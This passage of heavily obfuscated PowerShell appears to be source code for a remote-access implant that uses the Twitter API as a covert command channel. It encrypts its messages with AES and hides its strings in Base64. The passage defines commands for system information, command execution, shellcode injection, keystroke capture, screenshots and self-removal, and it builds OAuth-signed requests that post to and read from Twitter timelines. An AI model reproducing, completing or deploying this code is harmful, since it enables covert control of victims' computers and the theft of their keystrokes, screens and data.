[Parameter(Mandatory=$true)]
[string]${__/\__/==\/=\/==\_},
[Parameter(Mandatory=$true)]
[ref]$Output
)
Process {
${__/\/\/\__/\/====} = New-Object System.Security.Cryptography.AesManaged
${__/\/\/\__/\/====}.Mode = [System.Security.Cryptography.CipherMode]::CBC
${__/\/\/\__/\/====}.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
${__/\/\/\__/\/====}.BlockSize = 128
${__/\/\/\__/\/====}.KeySize = 256
${__/=\_/==\_/\/\/\} = [Text.Encoding]::UTF8.GetBytes(${_/==\_/\/=\_/=\/\/})
${/=\/\/\_/\__/\___} = [Text.Encoding]::UTF8.GetBytes(${__/\__/==\/=\/==\_})
${__/=\_/==\_/\/\/\} = (New-Object Security.Cryptography.SHA1Managed).ComputeHash(${__/=\_/==\_/\/\/\})[0..15]
${__/===\_/\/=\__/=} = (New-Object System.Security.Cryptography.Rfc2898DeriveBytes ${__/\_/=\/=\/=\__/\}, ${__/=\_/==\_/\/\/\}, 1).GetBytes(32)
${__/\/\/\__/\/====}.Key = ${__/===\_/\/=\__/=}
${/=\/\/\_/\__/\___} = (New-Object Security.Cryptography.SHA1Managed).ComputeHash(${/=\/\/\_/\__/\___})[0..15]
${__/\/\/\__/\/====}.IV = ${/=\/\/\_/\__/\___}
${_/==\__/\_/\/=\_/} = ${__/\/\/\__/\/====}.CreateEncryptor()
${____/\___/==\/=\/} = new-Object IO.MemoryStream
${/===\__/=\/\_/=\/} = new-Object Security.Cryptography.CryptoStream ${____/\___/==\/=\/}, ${_/==\__/\_/\/=\_/}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('VwByAGkAdABlAA==')))
${__/\__/\_/==\__/=} = [Text.Encoding]::UTF8.GetBytes(${________/==\_/\/==})
${/===\__/=\/\_/=\/}.Write(${__/\__/\_/==\__/=}, 0, ${__/\__/\_/==\__/=}.Length)
${/===\__/=\/\_/=\/}.Close()
${____/\___/==\/=\/}.Close()
${__/\/\/\__/\/====}.Clear()
[byte[]]${___/=\/=\/\__/===\} = ${____/\___/==\/=\/}.ToArray()
$Output.Value = [Convert]::ToBase64String(${___/=\/=\/\__/===\})
Return
}
}
Function __/===\/========== {
Param (
[parameter(Mandatory=$true)]
[string]${___/=\/=\/\__/===\},
[Parameter(Mandatory=$true)]
[string]${__/\_/=\/=\/=\__/\},
[parameter(Mandatory=$true)]
[string]${_/==\_/\/=\_/=\/\/},
[parameter(Mandatory=$true)]
[string]${__/\__/==\/=\/==\_},
[Parameter(Mandatory=$true)]
[ref]$Output
)
Process {
${/=\/=\/=\/\__/\__} = [Convert]::FromBase64String(${___/=\/=\/\__/===\})
${__/\/\/\__/\/====} = New-Object System.Security.Cryptography.AesManaged
${__/\/\/\__/\/====}.Mode = [System.Security.Cryptography.CipherMode]::CBC
${__/\/\/\__/\/====}.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7
${__/\/\/\__/\/====}.BlockSize = 128
${__/\/\/\__/\/====}.KeySize = 256
${__/=\_/==\_/\/\/\} = [Text.Encoding]::UTF8.GetBytes(${_/==\_/\/=\_/=\/\/})
${/=\/\/\_/\__/\___} = [Text.Encoding]::UTF8.GetBytes(${__/\__/==\/=\/==\_})
${__/=\_/==\_/\/\/\} = (New-Object Security.Cryptography.SHA1Managed).ComputeHash(${__/=\_/==\_/\/\/\})[0..15]
${__/===\_/\/=\__/=} = (New-Object System.Security.Cryptography.Rfc2898DeriveBytes ${__/\_/=\/=\/=\__/\}, ${__/=\_/==\_/\/\/\}, 1).GetBytes(32)
${__/\/\/\__/\/====}.Key = ${__/===\_/\/=\__/=}
${/=\/\/\_/\__/\___} = (New-Object Security.Cryptography.SHA1Managed).ComputeHash(${/=\/\/\_/\__/\___})[0..15]
${__/\/\/\__/\/====}.IV = ${/=\/\/\_/\__/\___}
${____/\/\_/==\/\_/} = new-Object IO.MemoryStream @(,${/=\/=\/=\/\__/\__})
${/=\/\___/\_/=\_/=} = ${__/\/\/\__/\/====}.CreateDecryptor()
${/===\__/=\/\_/=\/} = new-Object Security.Cryptography.CryptoStream ${____/\/\_/==\/\_/}, ${/=\/\___/\_/=\_/=}, $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UgBlAGEAZAA=')))
${____/===\/======\} = new-Object IO.StreamReader ${/===\__/=\/\_/=\/}
$Output.value = ${____/===\/======\}.ReadToEnd()
${____/===\/======\}.Close()
${/===\__/=\/\_/=\/}.Close()
${____/\/\_/==\/\_/}.Close()
${__/\/\/\__/\/====}.Clear()
Return
}
}
Function New-ProtocolRequest {
param (
[parameter(Mandatory=$true)]
[ValidateSet('SYN', 'SYSINFO','INETINFO', 'CMD', 'RESTARTSHELLCODE', 'NEWSHELLCODE32', 'NEWSHELLCODE64', 'KEYSTROKES', 'SCREENSHOT', 'UNDEPLOY')]
[string]$Command,
[Parameter(Mandatory=$true)]
[string]$RequestID,
[Parameter()]
[string]$TargetID = '0000000000',
[parameter()]
[string]$Data,
[parameter(Mandatory=$true)]
[string]$Password,
[parameter(Mandatory=$true)]
[string]$MaxLength,
[Parameter(Mandatory=$true)]
[AllowEmptyCollection()]
[System.Collections.ArrayList]$Output
)
process {
${_/\/\/\/=\_/=\/==} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MQA6ADEAMQAxADEAMQAxADEAMQAxADEAOgAxADEAMQAxADEAMQAxADEAMQAxADoAMQAxADEAOgAxADEAMQA6AA==')))
Switch -regex ($Command) {
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('XgAoAFMAWQBOAHwAUwBZAFMASQBOAEYATwB8AFIARQBTAFQAQQBSAFQAUwBIAEUATABMAEMATwBEAEUAKQAkAA=='))) {
${/===\_/\/\/\__/\/} = $Command
}
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBFAFcAUwBIAEUATABMAEMATwBEAEUAMwAyAA=='))) {
${/===\_/\/\/\__/\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBFAFcAUwBIAEUATABMAEMATwBEAEUAMwAyADoA'))) + $Data
}
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBFAFcAUwBIAEUATABMAEMATwBEAEUANgA0AA=='))) {
${/===\_/\/\/\__/\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TgBFAFcAUwBIAEUATABMAEMATwBEAEUANgA0ADoA'))) + $Data
}
}
${_/==\_/\/=\_/=\/\/} = $null
$null = __/=\__/======\/== -Output ([ref]${_/==\_/\/=\_/=\/\/})
${_/\/====\/\/=====} = $null
$null = __/=\__/======\/== -Output ([ref]${_/\/====\/\/=====})
${_/==\/=\__/\/\__/} = $null
$null = _/=\__/==\/\/\___/ -________/==\_/\/== ${/===\_/\/\/\__/\/} -__/\_/=\/=\/=\__/\ $Password -_/==\_/\/=\_/=\/\/ ${_/==\_/\/=\_/=\/\/} -__/\__/==\/=\/==\_ ${_/\/====\/\/=====} -Output ([ref]${_/==\/=\__/\/\__/})
${__/\__/=\___/=\_/} = ${_/==\_/\/=\_/=\/\/} + ":"
${__/\__/=\___/=\_/} += ${_/\/====\/\/=====} + ":"
${__/\__/=\___/=\_/} += ${_/==\/=\__/\/\__/}
${/=\_____/\/=\/=\/} = $MaxLength - ${_/\/\/\/=\_/=\/==}.Length
if (${/=\_____/\/=\/=\/} -le 0) {
Return $Null
}
${___/======\_/\/\_} = New-Object System.Collections.ArrayList
$null = __/\________/\_/\/ -String ${__/\__/=\___/=\_/} -___/====\/==\_/==\ ${/=\_____/\/=\/=\/} -Output ${___/======\_/\/\_}
${_/\/\___/\/==\_/\} = New-Object System.Collections.ArrayList
${____/=\__/\______} = ${___/======\_/\/\_}.Count
${____/\_/\/=\____/} = "0:"
${____/\_/\/=\____/} += $TargetID + ":"
${____/\_/\/=\____/} += $RequestID + ":"
if (${____/=\__/\______} -eq 1) {
${_/\/\/\/=\_/=\/==} = ${____/\_/\/=\____/}
${_/\/\/\/=\_/=\/==} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAwADEAOgAwADAAMQA6AA==')))
${_/\/\/=\_/=\/==\_} = ${_/\/\/\/=\_/=\/==} + ${___/======\_/\/\_}
${_/\/\___/\/==\_/\}.Add(${_/\/\/=\_/=\/==\_})
} else {
${_/\/=\/==\____/\/} = 1
${/==\/===\/===\/=\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ewAwADoARAAzAH0A'))) -f ${____/=\__/\______}
while (${_/\/=\/==\____/\/} -le ${____/=\__/\______}) {
${/===\/\__/\/=\/\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ewAwADoARAAzAH0A'))) -f ${_/\/=\/==\____/\/}
${_/\/\/\/=\_/=\/==} = ${____/\_/\/=\____/}
${_/\/\/\/=\_/=\/==} += ${/===\/\__/\/=\/\/} + ":" + ${/==\/===\/===\/=\} + ":"
${_/\/\/=\_/=\/==\_} = ${_/\/\/\/=\_/=\/==} + ${___/======\_/\/\_}[${_/\/=\/==\____/\/} - 1]
${_/\/\___/\/==\_/\}.Add(${_/\/\/=\_/=\/==\_})
${_/\/=\/==\____/\/} +=1
}
}
$Output.AddRange(${_/\/\___/\/==\_/\})
Return
}
}
Function _/==\__/=\_/\/\/\_ {
[CmdletBinding()]
Param (
[Parameter(Mandatory=$true)]
[string]${_/==\/==\___/\/\_/},
[Parameter()]
[string]${____/==\___/\__/=\} = '0000000000',
[Parameter(Mandatory=$true)]
[string]$Password,
[Parameter(Mandatory=$true)]
[string]$MaxLength,
[Parameter(Mandatory=$true)]
[bool]${__/=\/=\_/\__/==\/},
[Parameter(Mandatory=$true)]
[AllowEmptyCollection()]
[System.Collections.ArrayList]$Output
)
Process {
${_/\/\/\/=\_/=\/==} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MQA6AHgAeAB4AHgAeAB4AHgAeAB4AHgAOgAwADAAMAAwADAAMAAwADAAMAAwADoAeAB4AHgAOgB4AHgAeAA6AA==')))
${_/==\_/\/=\_/=\/\/} = $null
$null = __/=\__/======\/== -Output ([ref]${_/==\_/\/=\_/=\/\/})
${_/\/====\/\/=====} = $null
$null = __/=\__/======\/== -Output ([ref]${_/\/====\/\/=====})
${_/==\/=\__/\/\__/} = $null
$null = _/=\__/==\/\/\___/ -________/==\_/\/== ${_/==\/==\___/\/\_/} -__/\_/=\/=\/=\__/\ $Password -_/==\_/\/=\_/=\/\/ ${_/==\_/\/=\_/=\/\/} -__/\__/==\/=\/==\_ ${_/\/====\/\/=====} -Output ([ref]${_/==\/=\__/\/\__/})
If (${__/=\/=\_/\__/==\/}) {
${_/==\/=\__/\/\__/} = [System.Uri]::EscapeDataString(${_/==\/=\__/\/\__/})
}
${__/\__/=\___/=\_/} = ${_/==\_/\/=\_/=\/\/} + ":"
${__/\__/=\___/=\_/} += ${_/\/====\/\/=====} + ":"
${__/\__/=\___/=\_/} += ${_/==\/=\__/\/\__/}
${/=\_____/\/=\/=\/} = $MaxLength - ${_/\/\/\/=\_/=\/==}.Length
if (${/=\_____/\/=\/=\/} -le 0) {
Return $Null
}
${___/======\_/\/\_} = New-Object System.Collections.ArrayList
$null = __/\________/\_/\/ -String ${__/\__/=\___/=\_/} -___/====\/==\_/==\ ${/=\_____/\/=\/=\/} -Output ${___/======\_/\/\_}
${____/=\/\__/==\/=} = $null
_/======\/\_/=\_/\ -Output ([ref]${____/=\/\__/==\/=})
${____/\_/\/=\____/} = "1"
${____/\_/\/=\____/} += ":" + ${____/=\/\__/==\/=}
${____/\_/\/=\____/} += ":" + ${____/==\___/\__/=\} + ":"
${_/\/\___/\/==\_/\} = New-Object System.Collections.ArrayList
${____/=\__/\______} = ${___/======\_/\/\_}.Count
if (${____/=\__/\______} -eq 1) {
${_/\/\/\/=\_/=\/==} = ${____/\_/\/=\____/}
${_/\/\/\/=\_/=\/==} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAwADEAOgAwADAAMQA6AA==')))
${_/\/\/=\_/=\/==\_} = ${_/\/\/\/=\_/=\/==} + ${___/======\_/\/\_}
${_/\/\___/\/==\_/\}.Add(${_/\/\/=\_/=\/==\_})
} else {
${_/\/=\/==\____/\/} = 1
${/==\/===\/===\/=\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ewAwADoARAAzAH0A'))) -f ${____/=\__/\______}
while (${_/\/=\/==\____/\/} -le ${____/=\__/\______}) {
${/===\/\__/\/=\/\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ewAwADoARAAzAH0A'))) -f ${_/\/=\/==\____/\/}
${_/\/\/\/=\_/=\/==} = ${____/\_/\/=\____/}
${_/\/\/\/=\_/=\/==} += ${/===\/\__/\/=\/\/} + ":" + ${/==\/===\/===\/=\} + ":"
${_/\/\/=\_/=\/==\_} = ${_/\/\/\/=\_/=\/==} + ${___/======\_/\/\_}[${_/\/=\/==\____/\/} - 1]
${_/\/\___/\/==\_/\}.Add(${_/\/\/=\_/=\/==\_})
${_/\/=\/==\____/\/} +=1
}
}
$Output.AddRange(${_/\/\___/\/==\_/\})
Return
}
}
function ___/=\_/====\/\___ {
[CmdletBinding()]
Param (
[Parameter(Mandatory=$true)]
[string]$Password,
[Parameter(Mandatory=$true)]
[ref]$Output
)
Process {
${/===\__/\/====\/=} = $null
$null = ____/==\_/==\____/ -___/\_/\/\_/\/\/\/ basic -Output ([ref]${/===\__/\/====\/=})
${_/\___/\/==\___/\} = New-Object System.Collections.ArrayList
$null = _/==\__/=\_/\/\/\_ -_/==\/==\___/\/\_/ ${/===\__/\/====\/=} -____/==\___/\__/=\ $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAwADAAMAAwADAAMAAwADAAMAA='))) -Password $Password -MaxLength 140 -__/=\/=\_/\__/==\/ $true -Output ${_/\___/\/==\___/\}
If (${_/\___/\/==\___/\}.Count -gt 1) {
${/===\__/\/====\/=} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQBMAEkAVgBFAA==')))
$null = _/==\__/=\_/\/\/\_ -_/==\/==\___/\/\_/ ${/===\__/\/====\/=} -____/==\___/\__/=\ $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAwADAAMAAwADAAMAAwADAAMAA='))) -Password $Password -MaxLength 140 -__/=\/=\_/\__/==\/ $true -Output ${_/\___/\/==\___/\}
}
$Output.Value = ${_/\___/\/==\___/\}[0]
Return
}
}
${global:______/==\_/\____/} = $null
${global:_____/====\____/\/} = $null
${global:____/\______/\___/} = $null
${global:_/==\/===\___/==\/} = $null
${global:__/\_/\/=\/\/\/==\} = $null
Function __/=\_/====\______ {
Param (
[Parameter(Mandatory=$true)]
[ref]$Output
)
Process {
$Output.Value = $true
Return
}
}
Function __/===\__/=\_/=\/= {
Param (
[Parameter(Mandatory=$true)]
[string]${______/==\_/\____/},
[Parameter(Mandatory=$true)]
[string]${_____/====\____/\/},
[Parameter(Mandatory=$true)]
[string]${____/\______/\___/},
[Parameter(Mandatory=$true)]
[string]${_/==\/===\___/==\/},
[Parameter(Mandatory=$true)]
[string]${__/\_/\/=\/\/\/==\}
)
Process {
${global:______/==\_/\____/} = ${______/==\_/\____/}
${global:_____/====\____/\/} = ${_____/====\____/\/}
${global:____/\______/\___/} = ${____/\______/\___/}
${global:_/==\/===\___/==\/} = ${_/==\/===\___/==\/}
${global:__/\_/\/=\/\/\/==\} = ${__/\_/\/=\/\/\/==\}
}
}
Function _/==\/\/==\/=\/==\ {
Param (
[Parameter(Mandatory=$true)]
[ValidateSet('user_timeline','update')]
[string]${_/==\__/\/\/=\/===},
[Parameter()]
[ValidateLength(1, 140)]
[string]${__/==\/====\_/\/=\},
[Parameter()]
[string]${__/\__/=\___/=\/=\},
[Parameter()]
[string]${______/==\_/\____/} = ${global:______/==\_/\____/},
[Parameter()]
[string]${_____/====\____/\/} = ${global:_____/====\____/\/},
[Parameter()]
[string]${____/\______/\___/} = ${global:____/\______/\___/},
[Parameter()]
[string]${_/==\/===\___/==\/} = ${global:_/==\/===\___/==\/},
[Parameter()]
[string]${__/\_/\/=\/\/\/==\} = ${global:__/\_/\/=\/\/\/==\},
[Parameter(Mandatory=$true)]
[ref] $Output
)
Begin {
$ErrorActionPreference = [System.Management.Automation.ActionPreference]::Stop
Set-StrictMode -Version Latest
try {
[void][Reflection.Assembly]::LoadWithPartialName($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBTAGUAYwB1AHIAaQB0AHkA'))))
[void][Reflection.Assembly]::LoadWithPartialName($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UwB5AHMAdABlAG0ALgBOAGUAdAA='))))
} catch {
}
}
Process {
Try {
${__/\___/\_/\/\_/=} = [String]::Join('', (1..32 | % { $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAxADIAMwA0ADUANgA3ADkAYQBiAGMAZABlAGYA'))).ToCharArray() | Get-Random }))
${____/\__/\_/\/=\/} = [System.DateTime]::UtcNow - [System.DateTime]::ParseExact($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('MAAxAC8AMAAxAC8AMQA5ADcAMAA='))), $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('ZABkAC8ATQBNAC8AeQB5AHkAeQA='))), $null)
${_/\/===\/\_/\/\/\} = [System.Convert]::ToInt64(${____/\__/\_/\/=\/}.TotalSeconds).ToString();
${/=\______/=\/\/==} = ${_____/====\____/\/}
${/=\/\_/==\__/==\_} = ${_/==\/===\___/==\/}
${/=\/===\/=\/===\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('bwBhAHUAdABoAF8AYwBvAG4AcwB1AG0AZQByAF8AawBlAHkAJQAzAEQA'))) + ${/=\______/=\/\/==}
${/=\/===\/=\/===\_} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQAyADYAbwBhAHUAdABoAF8AbgBvAG4AYwBlACUAMwBEAA=='))) + ${__/\___/\_/\/\_/=}
${/=\/===\/=\/===\_} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQAyADYAbwBhAHUAdABoAF8AcwBpAGcAbgBhAHQAdQByAGUAXwBtAGUAdABoAG8AZAAlADMARABIAE0AQQBDAC0AUwBIAEEAMQA=')))
${/=\/===\/=\/===\_} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQAyADYAbwBhAHUAdABoAF8AdABpAG0AZQBzAHQAYQBtAHAAJQAzAEQA'))) + ${_/\/===\/\_/\/\/\}
${/=\/===\/=\/===\_} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQAyADYAbwBhAHUAdABoAF8AdABvAGsAZQBuACUAMwBEAA=='))) + ${/=\/\_/==\__/==\_}
${/=\/===\/=\/===\_} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQAyADYAbwBhAHUAdABoAF8AdgBlAHIAcwBpAG8AbgAlADMARAAxAC4AMAA=')))
Switch (${_/==\__/\/\/=\/===}) {
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBzAGUAcgBfAHQAaQBtAGUAbABpAG4AZQA='))) {
${/=\/===\/=\/===\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBFAFQAJgBoAHQAdABwAHMAJQAzAEEAJQAyAEYAJQAyAEYAYQBwAGkALgB0AHcAaQB0AHQAZQByAC4AYwBvAG0AJQAyAEYAMQAuADEAJQAyAEYAcwB0AGEAdAB1AHMAZQBzACUAMgBGAHUAcwBlAHIAXwB0AGkAbQBlAGwAaQBuAGUALgBqAHMAbwBuACYAYwBvAHUAbgB0ACUAMwBEADIAMAAwACUAMgA2AA=='))) + ${/=\/===\/=\/===\_}
${/=\/===\/=\/===\_} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQAyADYAcwBpAG4AYwBlAF8AaQBkACUAMwBEAA=='))) + ${__/\__/=\___/=\/=\}
${/=\/===\/=\/===\_} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQAyADYAdAByAGkAbQBfAHUAcwBlAHIAJQAzAEQAdAByAHUAZQAlADIANgB1AHMAZQByAF8AaQBkACUAMwBEAA=='))) + ${______/==\_/\____/}
}
$([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('dQBwAGQAYQB0AGUA'))) {
${/=\/===\/=\/===\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABPAFMAVAAmAGgAdAB0AHAAcwAlADMAQQAlADIARgAlADIARgBhAHAAaQAuAHQAdwBpAHQAdABlAHIALgBjAG8AbQAlADIARgAxAC4AMQAlADIARgBzAHQAYQB0AHUAcwBlAHMAJQAyAEYAdQBwAGQAYQB0AGUALgBqAHMAbwBuACYA'))) + ${/=\/===\/=\/===\_}
${/=\/===\/=\/===\_} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JQAyADYAcwB0AGEAdAB1AHMAJQAzAEQA'))) + [System.Uri]::EscapeDataString(${__/==\/====\_/\/=\})
}
}
${_/=\/=\/=\_/\____} = New-Object System.Security.Cryptography.HMACSHA1;
${_/=\___/=\_/==\/\} = [System.Uri]::EscapeDataString(${____/\______/\___/}) + "&" + [System.Uri]::EscapeDataString(${__/\_/\/=\/\/\/==\});
${_/=\/=\/=\_/\____}.Key = [System.Text.Encoding]::ASCII.GetBytes(${_/=\___/=\_/==\/\});
${/=\/\____/\____/\} = [System.Convert]::ToBase64String(${_/=\/=\/=\_/\____}.ComputeHash([System.Text.Encoding]::ASCII.GetBytes(${/=\/===\/=\/===\_})));
${___/\/=\/\_/=\/=\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TwBBAHUAdABoACAAbwBhAHUAdABoAF8AYwBvAG4AcwB1AG0AZQByAF8AawBlAHkAPQAiAA=='))) + ${/=\______/=\/\/==} + '"'
${___/\/=\/\_/=\/=\} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LAAgAG8AYQB1AHQAaABfAG4AbwBuAGMAZQA9ACIA'))) + ${__/\___/\_/\/\_/=} + '"'
${___/\/=\/\_/=\/=\} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LAAgAG8AYQB1AHQAaABfAHMAaQBnAG4AYQB0AHUAcgBlAD0AIgA='))) + [System.Uri]::EscapeDataString(${/=\/\____/\____/\}) + '"'
${___/\/=\/\_/=\/=\} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LAAgAG8AYQB1AHQAaABfAHMAaQBnAG4AYQB0AHUAcgBlAF8AbQBlAHQAaABvAGQAPQAiAEgATQBBAEMALQBTAEgAQQAxACIA')))
${___/\/=\/\_/=\/=\} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LAAgAG8AYQB1AHQAaABfAHQAaQBtAGUAcwB0AGEAbQBwAD0AIgA='))) + ${_/\/===\/\_/\/\/\} + '"'
${___/\/=\/\_/=\/=\} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LAAgAG8AYQB1AHQAaABfAHQAbwBrAGUAbgA9ACIA'))) + ${/=\/\_/==\__/==\_} + '"'
${___/\/=\/\_/=\/=\} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('LAAgAG8AYQB1AHQAaABfAHYAZQByAHMAaQBvAG4APQAiADEALgAwACIA')))
$Output.Value = ${___/\/=\/\_/=\/=\}
Return
} Catch {
}
}
}
Function __/\_/==\_/\/\_/=\ {
Param (
[Parameter(Mandatory=$true)]
[ValidateLength(1, 140)]
[string]${__/==\/====\_/\/=\},
[Parameter(Mandatory=$true)]
[ref] $Output
)
Process {
${__/==\____/==\_/\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAGEAcABpAC4AdAB3AGkAdAB0AGUAcgAuAGMAbwBtAC8AMQAuADEALwBzAHQAYQB0AHUAcwBlAHMALwB1AHAAZABhAHQAZQAuAGoAcwBvAG4A')))
${____/==\/=\____/=} = $null
$null = _/==\/\/==\/=\/==\ -__/==\/====\_/\/=\ ${__/==\/====\_/\/=\} -_/==\__/\/\/=\/=== update -Output ([ref]${____/==\/=\____/=})
${/=\_/===\____/=\_} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('cwB0AGEAdAB1AHMAPQA='))) + ${__/==\/====\_/\/=\}
${__/\/=\_/\_/===\/} = [System.Text.Encoding]::ASCII.GetBytes(${/=\_/===\____/=\_})
${_/\/===\_/=\/=\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIABBAFMAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8A')))
${_/\/\_/===\/\/=\/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AeAAtAHcAdwB3AC0AZgBvAHIAbQAtAHUAcgBsAGUAbgBjAG8AZABlAGQA')))
${_____/=\/==\_/\__} = New-Object System.Net.WebHeaderCollection
${_____/=\/==\_/\__}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgA='))),$ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAF8ALwA9AD0AXAAvAD0AXABfAF8AXwBfAC8APQB9AA=='))))
${/=\__/==\_/\___/\} = [System.Net.WebRequest]::Create(${__/==\____/==\_/\})
${/=\__/==\_/\___/\}.Method = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('UABPAFMAVAA=')))
${/=\__/==\_/\___/\}.UserAgent = ${_/\/===\_/=\/=\_/}
${/=\__/==\_/\___/\}.Headers = ${_____/=\/==\_/\__}
${/=\__/==\_/\___/\}.ContentType = ${_/\/\_/===\/\/=\/}
${/=\/\/==\___/====} = [System.Net.WebRequest]::GetSystemWebProxy()
If (!${/=\/\/==\___/====}.IsBypassed(${__/==\____/==\_/\})) {
${/=\/\/==\___/====}.Credentials = [System.Net.CredentialCache]::DefaultCredentials
${/=\__/==\_/\___/\}.Proxy = ${/=\/\/==\___/====}
}
${/==\___/\_/===\_/} = ${/=\__/==\_/\___/\}.GetRequestStream();
${/==\___/\_/===\_/}.Write(${__/\/=\_/\_/===\/}, 0, ${__/\/=\_/\_/===\/}.Length);
${/==\___/\_/===\_/}.Flush();
${/==\___/\_/===\_/}.Close();
${__/==\_/\_/\/\/==} = ${/=\__/==\_/\___/\}.GetResponse()
$Output.Value = ${__/==\_/\_/\/\/==}.StatusCode
${/=\__/==\_/\___/\}.Abort()
Return
}
}
Function ___/\_____/\/=\___ {
Param (
[Parameter()]
[string]${__/\__/=\___/=\/=\} = "1",
[Parameter(Mandatory=$true)]
[ref] $Output
)
Process {
${__/==\____/==\_/\} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('aAB0AHQAcABzADoALwAvAGEAcABpAC4AdAB3AGkAdAB0AGUAcgAuAGMAbwBtAC8AMQAuADEALwBzAHQAYQB0AHUAcwBlAHMALwB1AHMAZQByAF8AdABpAG0AZQBsAGkAbgBlAC4AagBzAG8AbgA=')))
${____/==\/=\____/=} = $null
$null = _/==\/\/==\/=\/==\ -_/==\__/\/\/=\/=== user_timeline -__/\__/=\___/=\/=\ ${__/\__/=\___/=\/=\} -Output ([ref]${____/==\/=\____/=})
${/\_____/\_/======} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('YwBvAHUAbgB0AD0AMgAwADAA')))
${/\_____/\_/======} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JgBzAGkAbgBjAGUAXwBpAGQAPQA='))) + ${__/\__/=\___/=\/=\}
${/\_____/\_/======} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JgB0AHIAaQBtAF8AdQBzAGUAcgA9AHQAcgB1AGUA')))
${/\_____/\_/======} += $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JgB1AHMAZQByAF8AaQBkAD0A'))) + ${global:______/==\_/\____/}
${__/\_/\_/===\/==\} = ${__/==\____/==\_/\} + "?" + ${/\_____/\_/======}
${_/\/===\_/=\/=\_/} = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('TQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIABBAFMAOwAgAHIAdgA6ADEAMQAuADAAKQAgAGwAaQBrAGUAIABHAGUAYwBrAG8A')))
${_____/=\/==\_/\__} = New-Object System.Net.WebHeaderCollection
${_____/=\/==\_/\__}.Add($([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('QQB1AHQAaABvAHIAaQB6AGEAdABpAG8AbgA='))),$ExecutionContext.InvokeCommand.ExpandString([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('JAB7AF8AXwBfAF8ALwA9AD0AXAAvAD0AXABfAF8AXwBfAC8APQB9AA=='))))
${/=\__/==\_/\___/\} = [System.Net.WebRequest]::Create(${__/\_/\_/===\/==\})
${/=\__/==\_/\___/\}.Method = $([Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('RwBFAFQA')))
${/=\__/==\_/\___/\}.UserAgent = ${_/\/===\_/=\/=\_/}
${/=\__/==\_/\___/\}.Headers = ${_____/=\/==\_/\__}
